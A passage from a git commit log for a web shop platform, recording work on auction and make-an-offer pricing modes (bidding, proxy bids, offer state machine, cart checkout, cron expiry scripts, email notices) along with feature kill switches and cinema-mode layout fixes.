  proxy" message; on terminal state disables bid + buy-now buttons

static/css/common.css — token-only auction & offer components:
- .auction-stats grid + .auction-stat label/value
- .auction-state-* color per state (Draft/Scheduled/Active/Ended/
  Settled/Cancelled)
- .offer-state-* color per state (Pending/Accepted/Countered/
  Declined/Expired/Withdrawn/Paid)
- .auction-bid-form grid layout
- .auction-flash success/error banner
- .offer-events / .offer-event audit timeline

styleguide.j2 entries (live previewable at /styleguide):
- Auction state badges (all 6 states)
- Auction countdown stat block
- Bid form (with min and proxy ceiling)
- Offer state badges (all 7 states)
- Make Offer entry-point (collapsed details)

Functional tests:
- /styleguide renders the new components
- /static/js/auction.js is served (200, contains auction-page hook)
- auction.j2 references /static/js/auction.js

Total: 943 tests pass (was 940 + 3).
 2026-05-09 21:30:12 -04:00
russell@unturf.com
aeeda8c8fe
bump GIT_HASH to 59a4e8d 2026-05-09 21:13:41 -04:00
russell@unturf.com
59a4e8d722
MPS-20 + MPS-21: email notifications 
Adds three email types and wires them into the bid + offer flows:
- AUCTION_OUTBID — sent to the previous high bidder when their bid
  is beaten (auction_bid view, after place_bid succeeds and is_winning
  flips to a new bidder)
- OFFER_RECEIVED — sent to all shop owners when a new pending offer
  arrives (offer_open view, only when offer queues; auto-accept and
  auto-decline use different paths)
- OFFER_ACCEPTED — sent to the buyer when the seller (or buyer
  themselves) accepts the current amount (open_offer auto-accept lane;
  offer_accept view explicit accept)

Email failures are caught and logged; the bid/offer state is already
persisted by the time we attempt to send, so a misconfigured SMTP
relay does not break the user flow.

Tick-driven emails (auction won when tick.tick ends an auction; offer
expired when tick.tick expires an offer) are deferred — they require
a request context for URL building, and tick scripts run from cron
without one. A future commit can either wire a request-less email
sender or queue the events for the next view that runs.

Templates added to lib/mail_messages.py:
- AUCTION_OUTBID_TEXT / AUCTION_OUTBID_HTML
- OFFER_RECEIVED_TEXT / OFFER_RECEIVED_HTML
- OFFER_ACCEPTED_TEXT / OFFER_ACCEPTED_HTML

Send helpers in lib/mail.py:
- send_auction_outbid_email(request, to, auction)
- send_offer_received_email(request, to, offer)
- send_offer_accepted_email(request, to, offer)

Tests:
- 3 unit (test_models.py) — verify each helper builds the right
  subject/body/url with mocked send_pyramid_email
- 1 functional — POST /o/{id}/accept calls send_offer_accepted_email
  with the buyer's email

Total: 940 tests pass (was 936 + 4).
 2026-05-09 21:13:29 -04:00
russell@unturf.com
a15d760ff4
bump GIT_HASH to e044c13 2026-05-09 20:56:24 -04:00
russell@unturf.com
e044c13c74
MPS-20 + MPS-21: tick scripts — auction state transitions, offer expiration 
Without these scripts, auctions stay ACTIVE forever and offers never
expire. Cron runs them on a schedule to drive the state machines.

lib/auction_tick.py:
- Pure functions transition_scheduled_to_active and transition_active_to_ended
- tick(dbsession) orchestrator scans:
  - SCHEDULED + start_timestamp <= now → ACTIVE
  - ACTIVE + end_timestamp <= now → ENDED (winner from is_winning bid;
    payment_deadline_timestamp set to end + 48h)

lib/offer_tick.py:
- tick(dbsession) scans non-terminal offers (PENDING / COUNTERED) past
  expires_timestamp and calls lib/offer.expire_offer on each, which
  flips state to EXPIRED and writes the OFFER_EVENT_EXPIRE audit row

Both ticks are idempotent — running twice on already-transitioned rows
is a no-op.

Cron entry points:
- scripts/auction_tick.py — every minute (* * * * *) recommended;
  60s default soft-close window means 1-min granularity is fine
- scripts/offer_tick.py — every 15 minutes; offers expire at hour
  granularity so coarse polling is enough

Tests:
- 2 unit (test_models.py): pure transition_scheduled_to_active /
  transition_active_to_ended for state, timestamp, and missing-data branches
- 4 integration auction: SCHEDULED→ACTIVE on start passing, ACTIVE→
  ENDED with winner recorded, ACTIVE→ENDED with no bids leaves winner
  None, idempotent
- 4 integration offer: PENDING past expires → EXPIRED, live offer not
  touched, terminal offer not touched, idempotent

Total: 936 tests pass (was 926 + 10).
 2026-05-09 20:56:16 -04:00
russell@unturf.com
31ab7507ba
bump GIT_HASH to 3c9fc55 2026-05-09 20:41:04 -04:00
russell@unturf.com
3c9fc5544b
MPS-20 + MPS-21: cart integration — checkout, total override, settle hook 
Closes the payment loop for both auction and offer modes. After this
commit, an auction winner can pay the agreed bid amount; an offer-
accepted buyer can pay the agreed offer amount. Cart total computation
uses the auction's winning_bid or offer.current_amount when an
association is present.

New tables (idempotent migration):
- mps_cart_auction (cart_id ↔ auction_id) — cart total uses winning bid
- mps_cart_offer   (cart_id ↔ offer_id)   — cart total uses agreed amount

Cart.auction_offer_override_in_cents property returns the override
amount when either association is set; None otherwise. total_price_in_cents
short-circuits to the override + handling + gift-card-purchases when an
override is present.

Routes:
- POST /a/{auction_id}/checkout  winner only; auction must be ENDED;
  builds a fresh cart, adds product, creates MpsCartAuction
- POST /o/{offer_id}/checkout    buyer only; offer must be ACCEPTED;
  builds a fresh cart, adds product, creates MpsCartOffer

Both checkouts redirect to /cart on success or back to /a/{id} or
/o/{id} on rejection (with flash message).

Settle hook in views/cart.py: after invoice is paid, _finalize_auction_offer_state
flips auction.state=SETTLED (recording winner_user_id + winning_bid_id)
and calls lib/offer.mark_paid which transitions offer ACCEPTED → PAID
and writes the OFFER_EVENT_PAY audit row.

Tests:
- 4 integration: cart-auction + cart-offer associations persist + cascade
- 3 integration: cart total override (no association → list price;
  with auction → winning bid; with offer → agreed amount)
- 3 functional auction checkout: winner builds cart with override,
  non-winner blocked, active auction blocked
- 3 functional offer checkout: buyer builds cart with override,
  non-buyer blocked, pending offer blocked

Total: 926 tests pass (was 913 + 13).
 2026-05-09 20:40:54 -04:00
russell@unturf.com
17ce2ae173
bump GIT_HASH to 5f92e65 2026-05-09 20:08:39 -04:00
russell@unturf.com
5f92e65482
MPS-20 + MPS-21: form sections + buyer entry points 
Shop owner-facing:
- shop_settings.j2: new "Make an Offer" form section (form_section=offer-settings)
  with offer_enabled, auto_accept_threshold_pct, auto_decline_threshold_pct,
  offer_min, offer_expiration_hours, offer_max_rounds,
  offer_min_buyer_account_age_hours
- views/shop.py: form_section=offer-settings handler with input clamping
  (decline forced strictly below accept; numeric inputs bounded)
- product_edit.j2: pricing_mode radio (5 options: fixed, auction, auction+
  buy_now, offer, offer+buy_now), allow_offers radio (inherit/yes/no)
  appearing only when product is in offer mode, link to live auction
  page when one exists
- views/product.py: handles pricing_mode change; flipping into auction
  mode (1 or 2) creates a draft MpsAuction with start_price seeded
  from product.price_in_cents and default bid_increment / soft_close
  from lib/auction defaults

Buyer-facing:
- product.j2: "View live auction" link when pricing_mode is auction;
  "Make an offer" details/form when offers_allowed AND user authenticated
  AND user not in shop owners; "Log in to make an offer" CTA for anon;
  Add To Cart only renders when is_buy_now_allowed (modes 0, 2, 4)

Tests (9 new, all passing):
- TestOfferSettingsForm: enable+set thresholds (round-trip), decline
  clamped below accept, blank offer_min clears the floor
- TestPricingModeFormSection: flip to auction creates draft auction,
  flip to offer leaves auction None, allow_offers override (yes/no/
  inherit), invalid pricing_mode value ignored, Make Offer button
  renders when eligible, Make Offer hidden for shop owner

Total: 913 tests pass (was 904 + 9).
 2026-05-09 20:08:33 -04:00
russell@unturf.com
2de9229264
bump GIT_HASH to 9b61218 2026-05-09 19:43:49 -04:00
russell@unturf.com
9b612182b8
MPS-21: offer views — open, page, counter, accept/decline, withdraw 
Routes:
- POST /p/{product_id}/offer  open new offer (login required)
- GET  /o/{offer_id}          offer detail page (buyer + seller only)
- POST /o/{offer_id}/counter  counter the current amount
- POST /o/{offer_id}/accept   accept current amount (terminal)
- POST /o/{offer_id}/decline  decline current amount (terminal)
- POST /o/{offer_id}/withdraw buyer-only terminal pull

offer_open registered before product_slug catch-all so /p/{id}/offer is
not shadowed (same shadowing rule as auction routes).

views/offer.py:
- _user_party resolves request.user → OFFER_PARTY_BUYER or _SELLER (or
  None for third party), gates offer detail page accordingly
- _serialize_offer: dict shape used by both template ctx and JSON;
  events array carries human-readable event_human
- offer_open enforces product.offers_allowed and self-offer block
  (buyer is shop owner)
- _offer_action wraps counter/accept/decline/withdraw, parses amount
  for counter, blocks non-buyer withdraw
- All write actions return JSON {ok, offer} or {error}

templates/offer.j2:
- Live page with state badge, current amount, both messages, action
  forms (accept / counter / decline; withdraw for buyer only) when it's
  the actor's turn
- Event timeline rendered from offer.events

Functional tests (12): anon redirected to login, seller cannot offer
on own product (403), buyer queues mid-range offer, auto-accept high
offer, auto-decline low offer, 404 unknown offer id, third-party 404,
full negotiation (open → counter → accept), wrong-party counter
rejected (400), buyer withdraw, seller cannot withdraw (403), offers
disabled on fixed-price product (403).

Cart integration deferred to commit 7 (bundling auction + offer).

Total: 904 tests pass (was 892 + 12).
 2026-05-09 19:43:42 -04:00
russell@unturf.com
f34e7e9ec5
bump GIT_HASH to 41884fb 2026-05-09 19:25:40 -04:00
russell@unturf.com
41884fbf8d
MPS-20: auction views — page, JSON, bid, buy-now, watch 
Routes (registered before shop_slug-style catch-alls so .json suffix is
not shadowed):
- GET  /a/{auction_id}.json   live state for poll
- POST /a/{auction_id}/bid    place a bid (login required)
- POST /a/{auction_id}/buy-now  end auction at buy_now price (mode 2)
- POST /a/{auction_id}/watch  toggle watcher
- GET  /a/{auction_id}        live page (templates/auction.j2)

views/auction.py:
- _serialize_auction shapes the same dict for both template ctx and JSON
- _user_is_seller checks request.user against auction.shop.owners — pure
  validate_bid in lib/auction does not have visibility into ownership,
  so the view enforces "no self-bidding" with HTTP 403
- auction_bid parses dollar input, converts to cents, calls place_bid,
  returns either {ok, bid_amount, is_winning, auction_state} or {error}
- auction_buy_now places a bid at buy_now price, sets state to ENDED,
  records winner_user_id and winning_bid_id
- auction_watch toggles MpsAuctionWatcher row

templates/auction.j2:
- Live page extending base.j2 with countdown placeholder, current high,
  bid form (amount + optional max_proxy), buy-now form when configured,
  watch toggle
- Hides bid form when seller views own auction or anon visitor (with
  log-in CTA)

Functional tests (11): page renders for anon, 404 unknown id, JSON
state, seller cannot bid (403), anon cannot bid (redirect), buyer
places first bid, bid below increment rejected (400), invalid amount
rejected (400), watch toggle round-trip, buy-now 404 when not offered,
buy-now ends auction and records winner.

Cart integration deferred to commit 5 (bundling with offer cart
integration since both add a non-list-price line item pattern).

Total: 892 tests pass (was 881 + 11).
 2026-05-09 19:25:28 -04:00
russell@unturf.com
f2f273ebaa
bump GIT_HASH to 4fcd1ea 2026-05-09 19:06:43 -04:00
russell@unturf.com
4fcd1eacaa
MPS-21: lib/offer.py — counter/accept/decline/expire state machine 
Pure validators:
- validate_actor_turn: actor's party must match offer.current_party;
  terminal-state offers reject all actions
- validate_round_cap: rejects when round_count >= shop.offer_max_rounds
  (forces accept/decline at the cap)
- validate_floor: silent reject below shop.offer_min_in_cents
- auto_resolve_open: classifies a new offer as accept/decline/queue
  using shop's auto_accept_threshold_pct (default 95) and
  auto_decline_threshold_pct (default 50); list_price=0 always queues

Orchestrators (write OFFER_EVENT_* rows for audit log):
- open_offer: writes offer + OPEN event; applies auto-accept/decline
  thresholds before queuing seller; expires_timestamp = now + shop's
  expiration_hours
- counter_offer: flips current_party, increments round_count, sets
  state COUNTERED, persists actor's message
- accept_offer: terminal — caller's responsibility to write a cart
  line item at offer.current_amount_in_cents
- decline_offer: terminal
- withdraw_offer: terminal; buyer-only (caller validates identity)
- expire_offer: idempotent system action — flips non-terminal offers
  past expires_timestamp to EXPIRED
- mark_paid: cart-success hook; ACCEPTED → PAID; raises if not in
  ACCEPTED state

OfferRejected exception carries reason in .args[0].

Self-offer (buyer == seller) blocking is the view layer's job — same
pattern as auctions.

Tests:
- 12 unit tests: validate_actor_turn (terminal/wrong-party/correct-party),
  validate_round_cap (at-or-above/below), validate_floor (none/below/at),
  auto_resolve_open (accept/decline/queue/free-product)
- 10 integration tests: auto-accept high offer, auto-decline low offer,
  queue mid-range offer, floor enforcement, full negotiation flow
  (open → seller counter → buyer counter → seller accept), round cap,
  decline terminal, withdraw, expire only past expiration, mark_paid
  only after accept

Total: 881 tests pass (was 859 + 22).
 2026-05-09 19:06:36 -04:00
russell@unturf.com
a75cacdfcb
bump GIT_HASH to 5b8f6bc 2026-05-09 18:50:05 -04:00
russell@unturf.com
5b8f6bcb58
MPS-20: lib/auction.py — bid placement, proxy, soft-close 
Pure functions:
- validate_bid: state must be ACTIVE; first bid >= start_price; subsequent
  bids >= current_high + bid_increment; positive integer; max_proxy >= amount
- is_within_soft_close: now_ms inside (end - soft_close_seconds*1000, end]
- extended_end_timestamp: now_ms + soft_close_seconds*1000
- resolve_proxy: eBay-style — higher proxy wins; loser auto-bids defending
  bidder up to min(loser_proxy + increment, winner_proxy); ties go to
  the existing top (first-in wins)

Orchestrator place_bid:
- writes the new bid, marks the prior winning bid is_winning=False with
  outbid_timestamp, applies proxy resolution to choose visible amounts,
  applies soft-close to extend end_timestamp when bid lands in window,
  bumps auction.updated_timestamp

BidRejected exception carries reason in .args[0].

Tests:
- 16 unit tests: validate_bid matrix (state, start_price, increment,
  proxy >= amount), soft-close window math, 6 proxy resolution edge
  cases (no proxy, defending proxy auto-increments, breaking through
  top proxy, tie tie-break, capped at ceiling)
- 8 integration tests: first bid wins, increment floor, outbid marks
  prior bid is_winning=False, exactly-one-winner invariant, proxy
  defending bidder auto-increments, soft-close fires only inside window,
  inactive auction rejects

Self-bid (bidder == seller) blocking is the view layer's responsibility —
the pure validate_bid does not have visibility into seller identity.

Total: 859 tests pass (was 835 + 24).
 2026-05-09 18:49:55 -04:00
russell@unturf.com
2f1a41d089
bump GIT_HASH to 80b4fa6 2026-05-09 18:31:40 -04:00
russell@unturf.com
80b4fa6698
MPS-20 + MPS-21: foundation — pricing_mode + auction/offer models 
Auction (MPS-20) and make-an-offer (MPS-21) modes share a Product.pricing_mode
column so a single migration adds the foundation for both.

Schema:
- mps_product.pricing_mode (Integer, default 0): 0=fixed, 1=auction,
  2=auction+buy_now, 3=offer, 4=offer+buy_now
- mps_product.allow_offers (Boolean nullable): per-product override of
  shop default; NULL = inherit shop.offer_enabled
- mps_shop: 7 offer-* settings columns (enabled, min, auto-accept/decline
  thresholds, expiration, max rounds, min buyer age)
- 5 new tables: mps_auction, mps_bid, mps_auction_watcher,
  mps_offer, mps_offer_event

Models:
- MpsAuction: state machine helpers (is_draft/active/ended/settled/etc.),
  current_high_in_cents (queries top bid), reserve_met, time_remaining_ms,
  has_buy_now, has_reserve, min_next_bid_in_cents
- MpsBid: amount + max_proxy_in_cents (proxy bidding ceiling) + is_winning
  flag the bid resolution code will flip
- MpsAuctionWatcher: per-user notification preferences
- MpsOffer: state machine (pending/countered/accepted/declined/expired/
  withdrawn/paid), waiting_on_buyer/seller, time_remaining_ms, is_expired
- MpsOfferEvent: audit log row per action (open/counter/accept/etc.)

Product gets is_fixed_price / is_auction / is_buy_now_allowed /
is_offer_mode / offers_allowed helpers — offers_allowed resolves the
per-product override + shop default.

Migration is idempotent (table_exists / column_exists guards) since
make init-db creates tables from models.

Tests:
- 17 unit tests in test_models.py (state helpers, pricing_mode classifiers,
  inheritance rules)
- 10 integration tests in test_integration.py (DB persistence, cascade
  delete bids/watchers/events when parent deleted, unique product_id
  on auction, defaults applied)

Functional tests defer to commits 4-5 (auction views, offer views).
 2026-05-09 18:31:29 -04:00
russell@unturf.com
98352496a9
bump GIT_HASH to 2659ebd 2026-05-09 16:51:38 -04:00
russell@unturf.com
2659ebdcbe
MPS-22: kill-switch feature flags for karaoke + torrent 
Karaoke (MPS-18) and torrent (MPS-19) are broken in production. Adding
two global feature flags off by default so neither feature surfaces in
UI or accepts route traffic until they're fixed.

Pattern mirrors app.features.popout_player.enabled — reified request
properties (request.karaoke_enabled, request.torrent_enabled) read from
ini settings. Templates wrap UI in {% if %}, views return HTTPNotFound
on form sections + routes, view contexts blank out feature-specific
keys when flag off so SPA navigation does not try to render them.

test.ini sets both flags True so existing feature tests keep working.
TestKillSwitches builds a fresh app with both False and verifies the
off path: form_section POSTs return 404, settings page omits sections,
karaoke route 404s, landing page omits karaoke marketing copy.

GET /s/{shop_id}/torrent-backfill-status is shadowed by an earlier
shop_slug catch-all route in production — pre-existing routing defect
that MPS-19 needs to fix when it lands.
 2026-05-09 16:51:24 -04:00
russell@unturf.com
b3d9b2b39c
docs: tickets MPS-18..21 — karaoke/torrent fixes + auction/offer proposals 
MPS-18: diagnose and fix broken karaoke vocal isolation pipeline.
MPS-19: diagnose and fix broken torrent / magnet link distribution.
MPS-20: propose eBay-style auction house mode (bidding, reserve,
soft-close, proxy, buy-now).
MPS-21: propose make-an-offer mode (counter/accept/decline/expire
state machine, auto-accept and auto-decline thresholds).

Each ticket carries proposal, full file list, models, state machine,
GTM plan, and unit/integration/functional test requirements.

architecture.md ticket index extended with MPS-17 (was missing) plus
the four new tickets.
 2026-05-09 16:13:57 -04:00
russell@unturf.com
f38e9d58ec
modified: .gitignore 2026-05-09 11:31:01 -04:00
russell@unturf.com
6f5c6be3a5 bump GIT_HASH to e159d2f 2026-04-23 17:37:51 -04:00
russell@unturf.com
e159d2f2bf fix: consistent section order across mobile, desktop, and cinema modes 
Mobile previously placed product-right (price, download, Up Next)
as the 2nd section, right after images — a different reading flow
from desktop and cinema modes, which keep description + comments
above/alongside product-right.

Unified order for every mode and viewport:

  1. images         (sticky video/cover on mobile + desktop watch)
  2. description
  3. comments
  4. product-right  (price, download, Up Next)

Desktop normal: column 1 = images → description → comments (stacked),
column 2 = product-right (spans all rows on the right).

Desktop cinema: row 1 = images full-width, row 2 = content (description
+ comments stack) on the left, product-right on the right.

Mobile normal: all four stacked single-column in that order. Cinema
stays a no-op below 800px; the classes exist but match no rules and
the page falls through to the consistent mobile watch-mode layout.

CLAUDE.md mobile layout section updated to match.
 2026-04-23 17:37:45 -04:00
russell@unturf.com
795b845cf9 bump GIT_HASH to 7fa9c15 2026-04-23 13:58:28 -04:00
russell@unturf.com
7fa9c15a03 fix: cinema mode is no-op on mobile; section order matches normal mode 
Mobile (<800px) never really needed a different cinema layout — the
normal watch-mode mobile rules already stack images, purchase,
description, and comments in a single column with full-viewport-width
media. Cinema was re-ordering those sections (putting purchase AFTER
description/comments) and creating an inconsistency between cinema
and normal modes on the same device.

Fix: gate every cinema layout rule on @media (min-width: 800px). Below
that the .cinema-mode.cinema-wide classes exist but match no layout
rules, and the page falls through to normal mobile watch-mode.

JS: isViewportWideEnoughForCinema() uses the same 800px boundary to
decide whether to relocate the hamburger+Edit taskbar into the
sidebar. A debounced resize listener re-runs applyCinemaMode() so
the layout flips cleanly when the viewport crosses the boundary.
 2026-04-23 13:58:21 -04:00
russell@unturf.com
ababe32a0a bump GIT_HASH to f57abd5 2026-04-22 17:41:48 -04:00
russell@unturf.com
f57abd5193 fix: cinema 2-col at 800px, comment section breathing room, button gap 
Three polish tweaks for cinema mode in narrow desktop panels:

1. 2-column layout kicks in at >=800px instead of >=960px. Cinema's
   video already fills the full width, so the content | purchase
   split below it doesn't need a typical desktop-wide viewport —
   it works fine on smaller panels. This removes the 800-960px dead
   zone where cinema-wide was still single-column stacking.

2. Comments get 24px margin-top + 20px padding-top + a top border so
   they read as their own section instead of running continuous into
   the description above and the sidebar controls below.

3. Stacked sidebar buttons (hamburger, Edit, Download) now have an
   8px margin-bottom between each so they don't look shoulder-to-
   shoulder. Inherits evenly from the task-bar grid gap.
 2026-04-22 17:41:41 -04:00
russell@unturf.com
3c6c579b73 bump GIT_HASH to ba424d5 2026-04-22 17:24:40 -04:00
russell@unturf.com
ba424d537a fix: uniform button shape in cinema sidebar 
Hamburger, Edit, and Download now all render as the same component
in the cinema sidebar — full column width, same padding (14px 16px),
same font size, same line height. mps-button-small's narrow min-width
was making Edit look like a leftover chip next to the full-width
hamburger and Download buttons; overridden in the cinema sidebar
scope only.

Task-bar grid gap bumped to 8px so hamburger + Edit don't touch
each other, and their nested padding zeroed so spacing lives in
the outer grid gap rather than in mixed inline padding.
 2026-04-22 17:24:35 -04:00
russell@unturf.com
d6487f8861 bump GIT_HASH to 92a3050 2026-04-22 15:46:40 -04:00
russell@unturf.com
92a305072e feat: cinema only activates for landscape media (aspect > 1) 
Portrait and square media stay in the normal watch layout even when
the Cinema toggle is on — tall phone videos no longer get stretched
into a skinny column on a wide screen. Only wider-than-square media
triggers the layout adjustment that makes wide/ultrawide content
fill the horizontal viewport.

Two-class gate:
  .cinema-mode       — user intent (from the toggle)
  .cinema-wide       — runtime state (current media aspect > 1)

CSS layout rules now require BOTH classes. When cinema is on but
media is portrait, .cinema-mode is on and .cinema-wide is off, and
the selectors don't match — normal watch layout applies.

Aspect detection reads video.videoWidth/videoHeight or
img.naturalWidth/naturalHeight. Unknown dimensions (metadata not
yet loaded) defaults to not wide; a loadedmetadata / img.load
listener re-invokes applyCinemaMode once real dimensions are known.

Taskbar relocation also gated on cinema-wide — portrait doesn't
steal the hamburger + Edit from their normal home.
 2026-04-22 15:46:33 -04:00
russell@unturf.com
aa72430323 bump GIT_HASH to 872a712 2026-04-22 15:43:18 -04:00
russell@unturf.com
872a7121f8 feat: cinema mode — hamburger + Edit into sidebar above Download 
Two cinema-mode polishes:

1. Top task bar (hamburger / shop name / Edit button) relocates into
   .product-right above the .well on cinema-on. Cached original parent
   + next sibling at init lets us put it back on cinema-off. Moved
   within the same DOM subtree that survives SPA nav so it persists
   across product changes. CSS stacks its children vertically inside
   the sidebar instead of the horizontal strip shape up top.

2. The 'click image to open in new window' wrapper link on static
   products (images, PDFs) is redundant in cinema mode since media
   already fills the viewport. pointer-events:none disables the
   click without removing the anchor from the DOM.
 2026-04-22 15:43:12 -04:00
russell@unturf.com
f6654ba7d2 bump GIT_HASH to 23dd740 2026-04-22 15:30:32 -04:00
russell@unturf.com
23dd740b52 fix: Autoplay rightmost in toggle row (Fresh | Reverse | Cinema | Autoplay) 2026-04-22 15:30:26 -04:00
russell@unturf.com
4b5422266d bump GIT_HASH to 1386fc6 2026-04-22 15:18:24 -04:00
russell@unturf.com
1386fc660c fix: cinema — description+comments in one grid cell, no row stretch 
Previously purchase (ring sidebar) spanned grid rows 2 and 3. When
Up Next was tall and description was short, grid distributed the
spanning column's height across both rows — description sat at top
of a stretched row 2 with hundreds of pixels of empty space before
comments.

New structure: wrap description + comments in .cinema-content-stack.
Outside cinema mode the wrapper is display:contents (transparent,
zero effect). In cinema mode it becomes a single grid cell containing
description + comments as an internal stack. Main grid is now just
two rows: images (full width) then content | purchase.

Row 2 height = max(content column, purchase column). If purchase is
taller, content stack still starts at top, and description + comments
stay glued together at the top of the column — comments is reachable
without scrolling past a dead zone.
 2026-04-22 15:18:17 -04:00
russell@unturf.com
eb9dcf6df4 bump GIT_HASH to ace7bc0 2026-04-22 14:18:36 -04:00
russell@unturf.com
ace7bc0475 fix: cinema mode works at every viewport size (no 800-960px dead zone) 
Cinema rules previously lived only inside @media (min-width: 960px).
Between 800px and 960px the rules silently vanished and section.two-column
fell back to natural block flow — description, comments, download,
and Up Next stacked chaotically while the video floated elsewhere.
Split-screen viewports and tablet widths hit this gap.

Base cinema rules now sit outside any media query:
  narrow: single column — video > description > comments > purchase
  >= 960px: 2fr 1fr — video full-width top, description+comments
             left column, product-right (ring+download) right column

Video sizing (width:100% + max-height:92vh + object-fit:contain)
applies at all sizes.
 2026-04-22 14:18:31 -04:00
russell@unturf.com
54d0c944d8 bump GIT_HASH to 8b9b411 2026-04-22 14:07:49 -04:00
russell@unturf.com
8b9b411ec0 fix: all 4 toggles on one row, nav fills bottom row cleanly 
Cinema toggle kept flowing onto its own row because ring-header-controls
was 3-col. Bumped to 4-col so row 1 fits Fresh / Reverse / Autoplay /
Cinema together.

Nav buttons (Prev / Random / Next) now use explicit grid-columns —
Next spans cols 3→end — so there's no empty fourth column on the
right edge. Karaoke button keeps its full-row span via grid-column: 1/-1.
 2026-04-22 14:07:43 -04:00
russell@unturf.com
2422e5feb1 bump GIT_HASH to 157134a 2026-04-22 13:29:45 -04:00
russell@unturf.com
157134ab60 fix: cinema mode — description beside ring, comments under description 
Cinema grid now mirrors the non-watch desktop layout below the video:
  row 1: video (full viewport width)
  row 2: description | product-right (price + download + Up Next)
  row 3: comments   | product-right (continues, spans 2 rows)

Previously description took full width and purchase/comments
shared row 3. Fox wants the ring visible alongside the description
so viewers see Up Next while reading, and comments stacked below
description in the same column.
 2026-04-22 13:29:38 -04:00
russell@unturf.com
1ee956b95f bump GIT_HASH to 09f9de4 2026-04-21 18:58:35 -04:00
russell@unturf.com
09f9de4636 feat: deploy + reforge bust client ring cache (HTML + localStorage) 
Two paths to stale client state, both closed:

1. HTML cache — content.py and product.py now send Cache-Control:
   no-store, must-revalidate on responses. Browsers were holding
   onto rendered sidebar HTML from before the pocket fix deployed,
   producing phantom 'this didn't work' reports.

2. localStorage cache — shop.json_discovery_ring + GIT_HASH are
   hashed into a short cache_version token, stamped on every page
   (<meta name='mps-cache-version'>) and every watch_json response.
   watch.js stores it in localStorage; on page load and every SPA
   nav, mismatch triggers removal of watchRing, watchRingPosition,
   watchRingHistory, watchRingLoops, watchQueue before anything
   reads them.

watch_json error responses (404 no media, 403 not public) also
carry cache_version so clients can flush even when the target
product can't be played.

Tests:
  - test_models.py TestCacheVersion: 6 unit tests (stability, ring
    content change, ring order change, empty ring, none shop,
    GIT_HASH flip via patch).
  - test_functional.py: 3 functional tests (content page sends
    no-store + meta tag, watch_json error carries cache_version,
    cache_version shifts after reforge).

All 370 model+integration tests + 8 new functional tests green.
 2026-04-21 18:58:30 -04:00
russell@unturf.com
2a9e993d5d bump GIT_HASH to 690f945 2026-04-21 18:30:37 -04:00
russell@unturf.com
690f945f70 feat: validate_discovery_ring health check + mod-only diagnostic endpoint 
Adds validate_discovery_ring(shop) in models/shop.py that returns a
dict diagnosing four ring topology defects:

  - duplicates: IDs appearing more than once in ring (greedy-walk bug)
  - orphans: public products missing from ring (added after reforge)
  - stale: ring IDs no longer public/present (deleted or unlisted
    after reforge — the 'pocket' condition we just patched)
  - length_mismatch: ring_length != public_count

Wired into reforge_discovery_ring_async — anomalies log a warning
after each background reforge, making silent drift visible.

New route /s/{shop_id}/ring/health.json exposes the validator to
shop mods (403 for anon and non-editor users, 404 for missing shop).

Tests across all three layers:
  - Unit (test_models.py, 7 tests): mocked shop.products, each
    anomaly class verified in isolation.
  - Integration (test_integration.py, 4 tests): real shop + products
    + reforge, simulates visibility changes and late additions,
    confirms reforge heals the ring.
  - Functional (test_functional.py, 5 tests): auth required, mod
    ownership enforced, 404 on unknown shop, real-world stale
    detection through the HTTP endpoint.
 2026-04-21 18:30:31 -04:00
russell@unturf.com
ace97a1ef6 bump GIT_HASH to 81a5de4 2026-04-21 18:20:35 -04:00
russell@unturf.com
81a5de4ce1 fix: ring 'pocket' — fill gaps from deleted/unlisted products 
get_ring_related_products walked exactly backward+forward positions
in the ring and silently dropped entries whose IDs no longer resolved
to visible products. Result: sparse offsets like [-2, -1, 1, 5, 28]
visible in Up Next — a 'pocket' of live items in an otherwise stale
ring slice.

New behavior: fetch every ring product once (bulk query), keep only
visibility==1, then walk further along the ring to collect the
requested backward/forward VALID neighbors. Offsets are renumbered
contiguously (-N..-1, 1..N). Pocket is filled by skipping past
deleted/unlisted entries until we have the requested count or
exhaust the ring.

Ring traversal on the client (ringPosition + direction) uses ring
indices directly and is unaffected — only the rendered Up Next
sidebar slice is densified.
 2026-04-21 18:20:28 -04:00
russell@unturf.com
3470d747f3 bump GIT_HASH to 2464d87 2026-04-21 18:12:41 -04:00
russell@unturf.com
2464d8722b fix: cinema mode actually fills viewport width (override media-sizing rule) 
Previous cinema CSS used width:auto which pinned small-resolution videos
to their natural size, leaving huge side-margins on wide displays.

Cinema explicitly wants edge-to-edge video: width:100%, height:auto,
max-height:92vh, object-fit:contain. This trades a small letterbox on
extra-wide viewports for real full-width rendering — intentional
override of the CLAUDE.md 'never combine width:100% with max-height'
rule, which exists to prevent dead whitespace on images. For cinema
the tradeoff is reversed: fox wants big video, accepts edge letterbox.
 2026-04-21 18:12:35 -04:00
russell@unturf.com
c5b0637d50 bump GIT_HASH to ee1d642 2026-04-21 17:36:59 -04:00
russell@unturf.com
ee1d642d92 feat: cinema mode — full-width video, Up Next + Download beside comments 
New Cinema toggle alongside Fresh/Reverse/Autoplay. When on, adds
.cinema-mode class to section.two-column, restructuring the grid:

  row 1: video (full viewport width, max 85vh, preserved aspect)
  row 2: description (full width)
  row 3: product-right (price + download + Up Next) | comments

Uses display:contents on .watch-left so watch-mode children bubble
up as direct grid items. Video sizing follows CLAUDE.md media rule
(width:auto + max-width:100% + max-height:85vh) to avoid letterbox
whitespace.

Preference persisted in localStorage (watchCinemaMode). Toggle
handler attached in rebindToggles; class applied on init and on
every toggle change.
 2026-04-21 17:36:53 -04:00
russell@unturf.com
78378f78d6 bump GIT_HASH to a2ffcdf 2026-04-21 14:38:04 -04:00
russell@unturf.com
a2ffcdfea2 fix: karaoke button on its own row, separated from Prev/Random/Next 
Karaoke toggle now spans full width of ring-header-controls grid,
pushing nav buttons (Prev/Random/Next) to their own 3-column row.
When karaoke is display:none (non-eligible shops), nav buttons
flow naturally into row 2. No template changes.
 2026-04-21 14:37:53 -04:00
russell@unturf.com
e055619037 bump GIT_HASH to b09d1fc 2026-04-21 14:23:11 -04:00
russell@unturf.com
b09d1fc739 fix: watch-mode Next/autoplay follow one true ring, honor Fresh toggle 
Every forward path through the ring now uses a single selector:
  chooseNextInRing() = freshMode ? getNextUnwatchedItem() : getNextItem()

Next button, autoplay countdown, DJ crossfade target, preload, and
countdown-play-now all route through it. Previously, Next button
hardcoded skipToNextUnwatched() regardless of Fresh toggle — user
would see offset +1 in sidebar but land on a farther unwatched item.

navigateToNext and completeDjFadeout now sync ringPosition via
indexOf(target) instead of blindly advancing by +direction — necessary
when Fresh mode jumps past watched items.
 2026-04-21 14:22:59 -04:00
russell@unturf.com
